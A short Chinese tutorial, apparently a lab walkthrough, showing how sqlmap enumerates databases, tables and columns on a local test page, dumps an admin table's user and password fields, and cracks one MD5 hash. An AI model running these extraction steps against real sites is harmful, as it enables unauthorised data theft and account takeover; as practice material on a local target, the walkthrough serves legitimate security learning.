(1) 查找數據庫
- sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs
數據庫有8個。
(2) 通過第一步的數據庫查找表(假如數據庫名爲test)
- sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test --tables
猜解出來裏面存在admin,sqltest兩個表。
(3) 通過2中的表得出列名(假如表爲admin)
- sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin --columns
爆出字段有有“user、id、pwd”
(4) 獲取字段的值(假如掃描出id,user,pwd字段)
- sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin -C "id,user,pwd" --dump
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
你想存儲的哈希值來與其他工具最終進一步處理臨時文件? 輸入"Y"
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通過基於字典的攻擊來破解他們嗎? 輸入"N"
馬上就得到了用戶名
與MD5的密碼: 3f230640b78d7e71ac5514e57935eb69 去破解下得到"qazxsw"